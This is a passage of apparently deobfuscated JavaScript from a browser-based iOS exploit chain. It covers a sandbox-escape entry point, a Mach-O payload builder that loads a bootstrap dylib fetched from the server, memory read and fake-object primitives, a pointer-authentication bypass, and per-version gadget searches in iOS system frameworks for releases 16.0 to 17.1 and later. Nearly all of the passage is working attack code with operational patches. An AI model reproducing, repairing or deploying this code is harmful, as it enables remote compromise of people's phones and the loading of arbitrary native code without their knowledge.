                    E.feedRawBuffer(container);
                    window.log("[LOADER] Fed " + container.byteLength + " bytes for " + hashName);
                } catch (err) {
                    window.log("[LOADER] Download error: " + err);
                    M();
                }
            })();
        },
        UA(A) {
            E.feedRawBuffer(A);
        },
        sA() {
            const A = new URL(location.href),
                g = "v" + new Date().getTime();
            A.searchParams.set(g, "0"), window.history.replaceState(null, null, A);
            const M = () => E.BA(111 /* 761805156 ^ 761805067 */, 999 /* 1919249010 ^ 1919248789 */),
                C = document.createElement("div");
            C.setAttribute("style", "opacity: 0.0"), C.innerHTML = M() + "-" + M() + "-" + M(), document.body.appendChild(C), setTimeout(() => {
                const A = new URL(location.href);
                A.searchParams.delete(g), window.history.replaceState(null, null, A), document.body.removeChild(C);
            }, 10000 /* 959736401 ^ 959728961 */), D[0] = IA;
        },
        wA() {
            if (D[0] === wA) {
                D[0] = QA;
                const A = new Uint8Array(g.buffer, sA, kA);
                let M = "";
                for (let g = 0; A[g] && g < A.length; g++) M += String.fromCharCode(A[g]);
                E.download(M, E.UA, E.error);
            } else if (D[0] === UA) {
                D[0] = QA;
                const A = new Uint8Array(g.buffer, sA, kA);
                let M = "";
                for (let g = 0; A[g] && g < A.length; g++) M += String.fromCharCode(A[g]);
                const C = new Uint8Array(g.buffer, FA, SA);
                let I = "";
                for (let A = 0; C[A] && A < C.length; A++) I += String.fromCharCode(C[A]);
                E.TA(M, I, E.NA, E.EA);
            } else D[0] === TA && E.sA();
            D[0] !== EA && setTimeout(E.wA, 1);
        },
        LA(A) {
            const M = A;
            if (M.length > g.length - 8) E.error(); else {
                for (let A = 0; A < M.length; A++) g[A + 8] = M.charCodeAt(A);
                D[1] = M.length, D[0] = BA;
            }
        },
        // Telemetry removed
        error() {
            D[0] = NA;
        }
    };
    return E;
}

// ── executeSandboxEscape (yA) — main sandbox escape entry ────────────────
function executeSandboxEscape() {/* Original: yA → executeSandboxEscape */
    const A = YA();
    let g;
    if (platformModule.On()) throw new Error("platformModule.On()");
    return g = (() => {
        //alert("P.platformState.fixedMachOVal2=" + P.platformState.fixedMachOVal2);
        const g = new MachOPayloadBuilder(platformModule.platformState.fixedMachOVal1, platformModule.platformState.fixedMachOVal2, platformModule.platformState.fixedMachOVal3);

        // ── PATCH: Load custom dylib with dynamic _process lookup ──
        // Dylib must be pre-truncated to Mach-O proper (no appended data).
        const _ORIG_PROCESS_OFF = 0x68d8; // hardcoded in B trampoline shellcode
        const _xhr = new XMLHttpRequest();
        _xhr.open("GET", "payloads/bootstrap.dylib", false);
        _xhr.overrideMimeType("text/plain; charset=x-user-defined");
        _xhr.send();
        const _raw = _xhr.responseText;
        // Build byte array from x-user-defined response
        const _buf = new Uint8Array(_raw.length);
        for (let _i = 0; _i < _raw.length; _i++) _buf[_i] = _raw.charCodeAt(_i) & 0xFF;
        const _dv = new DataView(_buf.buffer);
        // Parse LC_SYMTAB to find _process
        const _ncmds = _dv.getUint32(16, true);
        let _off = 32, _symtabOff = 0, _nsyms = 0, _strtabOff = 0;
        for (let _c = 0; _c < _ncmds; _c++) {
            const _cmd = _dv.getUint32(_off, true);
            const _cmdsize = _dv.getUint32(_off + 4, true);
            if (_cmd === 2) { // LC_SYMTAB
                _symtabOff = _dv.getUint32(_off + 8, true);
                _nsyms = _dv.getUint32(_off + 12, true);
                _strtabOff = _dv.getUint32(_off + 16, true);
            }
            _off += _cmdsize;
        }
        let _processOff = 0;
        for (let _i = 0; _i < _nsyms; _i++) {
            const _nlo = _symtabOff + _i * 16;
            const _strx = _dv.getUint32(_nlo, true);
            const _ntype = _buf[_nlo + 4];
            if ((_ntype & 0x0e) === 0) continue;
            let _name = "";
            for (let _j = _strtabOff + _strx; _j < _buf.length && _buf[_j]; _j++)
                _name += String.fromCharCode(_buf[_j]);
            if (_name === "_process") {
                _processOff = _dv.getUint32(_nlo + 8, true);
                break;
            }
        }
        if (!_processOff) throw new Error("[PATCH] _process symbol not found in dylib");
        // Convert entire file (already truncated) to oA string
        const _origLen = g.oA.length;
        let _oA = "";
        for (let _i = 0; _i < _buf.length; _i += 2)
            _oA += String.fromCharCode(_buf[_i] | ((_buf[_i + 1] || 0) << 8));
        g.oA = _oA;
        window.log("[PATCH] Loaded bootstrap.dylib: " + _buf.length + "B, oA=" + _oA.length +
            " (orig " + _origLen + "), _process=0x" + _processOff.toString(16));
        // ── END PATCH (redirect applied after buffer is built, below) ──

        let dylibSize = (g.length() + 0x1000 & 0xfffff000) >>> 0;
        const dylibSizeWithSomeExtraSize = dylibSize + 0x200000,
            dylibLoadAddress = platformModule.platformState.sandboxEscape.newInt64OfSomething(dylibSizeWithSomeExtraSize).toPointerValue();
        g.kA = Offset64.fromUnsigned(A.CA), g.FA(Offset64.fromUnsigned(dylibLoadAddress));
        const dylibLoadAddressO64 = Offset64.fromUnsigned(dylibLoadAddress);
        let dylibBufferEncoded = g.SA(dylibLoadAddressO64);
        for (; dylibBufferEncoded.length % 4 != 0;) dylibBufferEncoded += "\0";
        dylibSize = 2 * dylibBufferEncoded.length;
        const dylibBuffer = window.PhZuiP = new Uint32Array(new ArrayBuffer(dylibSize));
        for (let i = 0; i < dylibSize; i += 4) dylibBuffer[i / 4] = utilityModule.readU16FromString(dylibBufferEncoded, i) >>> 0;
        // ── PATCH: If _process moved, write a B redirect at the hardcoded offset ──
        if (_processOff !== _ORIG_PROCESS_OFF) {
            const _branchDist = (_processOff - _ORIG_PROCESS_OFF) >> 2;
            const _branchInstr = 0x14000000 | (_branchDist & 0x3FFFFFF);
            dylibBuffer[_ORIG_PROCESS_OFF >> 2] = _branchInstr;
            window.log("[PATCH] Redirect: wrote B at 0x" + _ORIG_PROCESS_OFF.toString(16) +
                " -> 0x" + _processOff.toString(16) +
                " (instr=0x" + _branchInstr.toString(16) + ")");
        } else {
            window.log("[PATCH] _process at original offset 0x" + _ORIG_PROCESS_OFF.toString(16) + ", no redirect needed");
        }
        //window.addDownloadBinary("lzwDecoded.dylib", new Uint32Array(dylibBuffer.slice(0)));
        const dylibLoadAddressI64 = utilityModule.Int64.fromNumber(dylibLoadAddress),
            dylibDataAddressMaybe = utilityModule.Int64.fromNumber(platformModule.platformState.exploitPrimitive.fakeobj(dylibBuffer));
        window.log("dylib load address: 0x" + dylibLoadAddress.toString(16));
        window.log("data address?: 0x" + dylibDataAddressMaybe.toNumber().toString(16));
        window.log("dylib size: 0x" + dylibSize);
        platformModule.platformState.sandboxEscape.Ad(dylibLoadAddressI64, dylibDataAddressMaybe, dylibSize);
        const T = g.YA().ct() + 4;
        //alert("D 0x" + T.toString(16));
        return platformModule.platformState.caller.jd(utilityModule.Int64.fromNumber(T)).Pt();
    })(), A.start(), g;
}; const yA = executeSandboxEscape;
// ── MachOPayloadBuilder (oA) — builds Mach-O payload in memory ───────────
class MachOPayloadBuilder {/* Original: oA → MachOPayloadBuilder */
    constructor(fixedValue1, fixedValue2, fixedValue3) {
        //alert("CALLED");
        const M = new Offset64(0, 0);
        this.yA = CA(M, M, M, M, 0, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M, M);
        this.oA = gA.lzwDecompress(
            gA.base64DecodeUtf16(" "));
        this.xA = utilityModule.resolveUrlPadded(fixedValue1);
        this.cA = fixedValue2;
        this.iA = utilityModule.resolveUrlPadded(fixedValue3);
        //alert("AAA" + this.xA);
        this.GA = !0;
        let C = document.URL;
        for (C += "\0"; C.length % 4 != 0;) C += "\0";
        let I = navigator.userAgent;
        for (this.OA = utilityModule.utf16Decode(C), I += "\0"; I.length % 4 != 0;) I += "\0";
        this.KA = utilityModule.utf16Decode(I), this.RA = new Offset64(0, 0), this.kA = new Offset64(0, 0), this.zA = new Offset64(0, 0);
    }
    length() {
        return 2 * (this.yA.length + this.oA.length + this.xA.length + this.cA.length + this.OA.length + this.KA.length + this.iA.length);
    }
    FA(A) {
        this.RA = A;
    }
    VA() {
        return this.RA;
    }
    YA() {
        return this.RA.add(2 * this.oA.length);
    }
    HA() {
        let A = this.VA();
        return null !== A && (A = A.add(this.length())), A;
    }
    SA(A) {
        const g = this.VA();
        let D = g.add(2 * this.oA.length).add(2 * this.yA.length);
        const M = D.add(2 * this.cA.length),
            C = M.add(2 * this.xA.length),
            I = C.add(2 * this.OA.length),
            w = I.add(2 * this.KA.length),
            Q = w.add(2 * this.iA.length);
        let B = null;
        const N = new Offset64(g.it, g.et),
            E = new Offset64(D.it, D.et),
            T = new Offset64(M.it, M.et),
            U = new Offset64(C.it, C.et),
            L = new Offset64(I.it, I.et),
            s = new Offset64(w.it, w.et),
            k = new Offset64(A.it, A.et),
            F = new Offset64(Q.it, Q.et),
            S = new Offset64(this.kA.it, this.kA.et),
            Y = new Offset64(this.zA.it, this.zA.et);
        let y = new Offset64(0, 0),
            o = new Offset64(0, 0),
            c = new Offset64(0, 0),
            i = new Offset64(0, 0),
            G = new Offset64(0, 0),
            O = new Offset64(0, 0),
            K = new Offset64(0, 0),
            R = new Offset64(0, 0),
            z = new Offset64(0, 0);
        const V = new Offset64(0 | platformModule.platformState.kn, 0),
            H = new Offset64(platformModule.platformState.Pn ? 1 : 0, 0);
        if (null !== platformModule.platformState.caller && !0 === platformModule.platformState.qn) {
            const A = platformModule.platformState.pacBypass,
                exploitPrimitive = platformModule.platformState.exploitPrimitive,
                D = platformModule.cr(),
                M = D.Sh(),
                C = D.bh("__TEXT", "__text"),
                I = D.dlsym("_ZN3JSC16jitOperationListE"),
                w = exploitPrimitive.readRawBigInt(I),
                Q = exploitPrimitive.read32(w - 4),
                B = function (A, D) {
                    for (let M = 0; M < Q; M++) {
                        const I = exploitPrimitive.readRawBigInt(w + 16 * M),
                            Q = 8;
                        if (C.qe <= I && I <= C.qe + C.Oo - Q && exploitPrimitive.read32(I) === A && exploitPrimitive.read32(I + 4) === D) return exploitPrimitive.readInt64FromOffset(w + 16 * M + 8);
                    }
                    return utilityModule.Int64.fromNumber(0);
                }(0xd289222d, 0xd71f0c4d);
            if (B.Et()) throw new Error("B.Et()");
            K = new Offset64(B.it, B.et);
            const N = 0x4911,
                findBRAAGadget = function (filePath, needle) {
                    const C = M.Jh(filePath)._h("__TEXT", "__text"),
                        I = C.qe + C.Oo - 4 * needle.length;
                    for (let A = C.qe; A <= I; A += 4) {
                        let M = !0;
                        for (let C = 0; C < needle.length; C++)
                            if (exploitPrimitive.read32(A + 4 * C) !== needle[C]) {
                                M = !1;
                                break;
                            } if (M) return A;
                    }
                    window.log("ERROR: gadget not found in " + filePath + ": " + needle);
                    return 0;
                },
                T = function (A, g, D) {
                    const M = g(gA.Int64.fromNumber(A), gA.Int64.fromNumber(D));
                    return new Offset64(M.it, M.et);
                };
            let U = 0,
                L = 0;
            // Select framework and gadget offsets based on iOS version (P.platformState.iOSVersion)

            if (platformModule.platformState.iOSVersion >= 170100) {

                // iOS ≥ 17.1
                U = findBRAAGadget(
                    "/System/Library/PrivateFrameworks/HomeSharing.framework/HomeSharing",
                    [
                        0xaa0c03e8,
                        0xd29b8c11,
                        0xd71f0951  // braa x10, x17
                    ]

                );

                // constant used later when resolving additional gadgets
                L = 0xDC60;

            } else if (platformModule.platformState.iOSVersion >= 170000) {

                // iOS 17.0
                U = findBRAAGadget(
                    "/System/Library/Frameworks/CoreML.framework/CoreML",
                    [
                        0xaa0c03e8,
                        0xd2909cd1,
                        0xd71f0951  // braa x10, x17
                    ]

                );

                L = 0x84E6;

            } else if (platformModule.platformState.iOSVersion >= 160400) {

                // iOS ≥ 16.4
                U = findBRAAGadget(
                    "/System/Library/Frameworks/CoreML.framework/CoreML",
                    [
                        0xaa0c03e8,
                        0xd29e65b1,
                        0xd71f0951  // braa x10, x17
                    ]

                );

                L = 0xF32D;

            } else if (platformModule.platformState.iOSVersion >= 160000) {

                // iOS 16.0 – 16.3
                U = findBRAAGadget(
                    "/System/Library/PrivateFrameworks/HomeSharing.framework/HomeSharing",
                    [
                        0xaa0c03e8,
                        0xd2935db1,
                        0xd71f0951  // braa x10, x17
                    ]

                );

                L = 0x9AED;

            } else {

                // Older systems fallback
                U = findBRAAGadget(
                    "/System/Library/Frameworks/MediaToolbox.framework/MediaToolbox",
                    [
                        0xaa0c03e8,
                        0xd29dce11,
                        0xd71f0951  // braa x10, x17
                    ]

                );

                L = 0xEE70;
            }

            // Fail if framework / gadget lookup failed
            if (U === 0x0) throw new Error("U === 0x0");

            // Resolve first stage gadget chain
            G = T(U, A.pacia.bind(A), N);

            let s = 0x0;
            // Select another framework + offsets depending on iOS version
            if (platformModule.platformState.iOSVersion >= 170100) {

                // iOS ≥ 17.1
                s = findBRAAGadget(
                    "/System/Library/PrivateFrameworks/PassKitCore.framework/PassKitCore",
                    [
                        0xaa0b03e2,
                        0xd28c7331,
                        0xd71f09d1  // braa x14, x17
                    ]

                );

                // 64-bit constant (low/high)
                R = new Offset64(0x6399, 0x0);

            } else if (platformModule.platformState.iOSVersion >= 170000) {

                // iOS 17.0
                s = findBRAAGadget(
                    "/System/Library/PrivateFrameworks/AppleMediaServices.framework/AppleMediaServices",
                    [
                        0xaa0b03e2,
                        0xd29bc671,
                        0xd71f09d1  // braa x14, x17
                    ]

                );

                R = new Offset64(0xDE33, 0x0);

            } else if (platformModule.platformState.iOSVersion >= 160400) {

                // iOS ≥ 16.4
                s = findBRAAGadget(
                    "/System/Library/PrivateFrameworks/SpringBoard.framework/SpringBoard",
                    [
                        0xaa0f03e2,
                        0xd29336f1,
                        0xd71f09d1  // braa x14, x17
                    ]

                );

                R = new Offset64(0x99B7, 0x0);

            } else if (platformModule.platformState.iOSVersion >= 160000) {

                // iOS 16.0 – 16.3
                s = findBRAAGadget(
                    "/System/Library/Frameworks/CoreML.framework/CoreML",
                    [
                        0xaa0f03e2,
                        0x528b636d,
                        0x72a539cd,
                        0xaa0903ee, 
                        0xd2820371,
                        0xd71f0991  // braa x12, x17
                    ]

                );

                R = new Offset64(0x101B, 0x0);

            } else {

                // Older systems fallback
                s = findBRAAGadget(
                    "/System/Library/Frameworks/MediaToolbox.framework/MediaToolbox",
                    [
                        0xaa0f03e2,
                        0xaa0c03e8,
                        0xd29dce11,
                        0xd71f0951  // braa x10, x17
                    ]

                );

                R = new Offset64(0xEE70, 0x0);
            }

            // Fail if lookup failed
            if (s === 0x0) throw new Error("s === 0x0");

            // Resolve second gadget chain
            O = T(s, A.pacia.bind(A), N);


            // Resolve additional runtime addresses using L
            y = T(A.La.Dt().yt(), A.pacda.bind(A), L);
            o = T(A.Xa.Dt().yt(), A.pacda.bind(A), L);
            c = T(A.Ga.Dt().yt(), A.pacda.bind(A), L);
            i = T(A.Ma.Dt().yt(), A.pacda.bind(A), L);


            // Lookup symbol "dlsym" inside libdyld
            const k = M.Jh("/usr/lib/system/libdyld.dylib").dlsym("dlsym");

            // Construct 64-bit address from JS number
            z = new Offset64(
                k >>> 0x0, // low 32 bits
                k / 0x100000000 >>> 0x0 // high 32 bits
            );
        }
        return 0 === this.cA.length && (D = 0), B = CA(k, F, 0, N, 2 * this.oA.length, T, E, U, S, L, s, y, o, c, i, K, G, O, R, z, Y, V, H), this.oA + B + this.cA + this.xA + this.OA + this.KA + this.iA;
    }
}
// ── Module export ────────────────────────────────────────────────────────
r.lA = () => {// Entry point: resolves APIs, builds payload, executes sandbox escape
    const A = globalThis.moduleManager.getModuleByName("b5135768e043d1b362977b8ba9bff678b9946bcb");
    return A._d(), A.qd(), executeSandboxEscape();
};
return r;
